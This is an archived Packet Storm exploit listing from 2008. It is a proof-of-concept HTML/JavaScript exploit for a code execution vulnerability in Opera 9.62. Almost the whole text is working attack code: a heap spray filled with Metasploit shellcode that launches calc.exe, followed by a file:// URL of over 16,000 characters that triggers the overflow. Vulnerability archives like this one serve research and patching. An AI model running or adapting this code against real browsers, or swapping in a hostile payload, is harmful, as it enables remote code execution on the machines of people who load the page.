opera962-overflow.txt

🗓️ 18 Nov 2008 00:00:00Reported by k'sOSeType

packetstorm🔗 packetstormsecurity.com👁 31 Views

HTML Opera 9.62 Code Execution Vulnerabilit

`<html>  
<head><title>uh?</title></head>  
<body>  
<script>  
  
  
// k`sOSe 11/15/2008  
// tested on Windows XP SP3, opera 9.62 international version  
// vulnerability found by send9  
  
// there are many ways to achieve code execution, tons of function pointers to overwrite.  
// maybe there's one more reliable...  
  
var i=0;  
  
// push es, pop es  
var block = unescape("%u0607%u0607");   
  
// metasploit WinExec c:\WINDOWS\system32\calc.exe  
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100");  
  
while (block.length < 81920) block += block;  
var memory = new Array();  
for (;i<1000;i++) memory[i] += (block + shellcode);  
  
  
var evil = "file://";  
  
for(var i = 0; i<16438; i++)  
evil += "X";  
  
evil += "R.";   
  
window.location.replace(evil);  
  
</script>  
  
</body>  
</html>  
  
`

18 Nov 2008 00:00Current

0.1Low risk

Vulners AI Score0.1